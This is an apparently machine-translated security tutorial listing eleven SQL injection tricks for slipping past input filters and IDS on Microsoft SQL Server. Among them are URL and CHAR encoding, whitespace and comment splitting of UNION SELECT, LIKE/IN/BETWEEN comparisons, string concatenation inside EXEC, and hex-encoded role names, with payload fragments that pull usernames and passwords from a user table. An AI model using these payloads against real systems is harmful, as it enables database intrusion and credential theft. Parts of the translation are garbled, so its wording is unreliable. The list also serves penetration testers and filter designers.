Injection techniques to anti bypass

Writing by : Pouya Daneshmand

Contact : Pouya@Securitylab.ir Or Whh_iran@yahoo.com

Securitylab.ir

1, using coding techniques to circumvent such as URLEncode codes, ASCII codes to bypass. For example, or 1 = 1 or% 6f% 72% 20% 31% 3d% 31, while the Test can also CHAR (101) + CHAR (97) + CHAR (115) + CHAR (116).

2, through the spaces around, such as two spaces instead of a space, use Tab instead of spaces and so on, or remove all spaces, such as the or 'swords' = 'swords', due to loose mssql, we can or 'swords' to remove the spaces between, does not affect the operation.

3, using string to determine to replace the classical or 1 = 1 to determine to bypass, such as or 'swords' = 'swords', this method is online in the discussion.

4, through the type conversion modifier N bypass can be said that this is a good idea, apart from in a way to bypass the restrictions, but also something else, we own a good think. On the use of, such as or 'swords' = N 'swords', capital of the N tell mssql server string as nvarchar type, which play a type conversion role, does not affect the injection statement itself, but you can avoid the knowledge-based pattern-matching IDS.

5, by the + dismantling the string to bypass the effect should be verified, but that is a way. If or 'swords' = 'sw' + 'ords'; EXEC ('IN' + 'SERT INTO' + '... ..')

6, through the LIKE bypass ago how would never have thought it? If or'swords' LIKE 'sw'! ! ! Obviously can be very easy to bypass "="">" restrictions ... ...

7, through the IN bypass with the above LIKE thinking about, such as or 'swords' IN ('swords')

8, through the BETWEEN bypass, such as or 'swords' BETWEEN 'rw' AND 'tw'

9, through "or" bypass
or 'swords'> 'sw'
or 'swords' < 'tw'
or 1 <3
... ...

10, using annotations statement to bypass the use / ** / replace spaces, such as: UNION / ** / Select / ** / user, pwd, from tbluser
With the / ** / split-sensitive words, such as: U / ** / NION / ** / SE / ** / LECT / ** / user, pwd from tbluser

11, with HEX bypass, the general can not be detected by IDS
0 × 730079007300610064006D0069006E00 = hex (sysadmin)
0 × 640062005F006F0077006E0065007200 = hex (db_owner)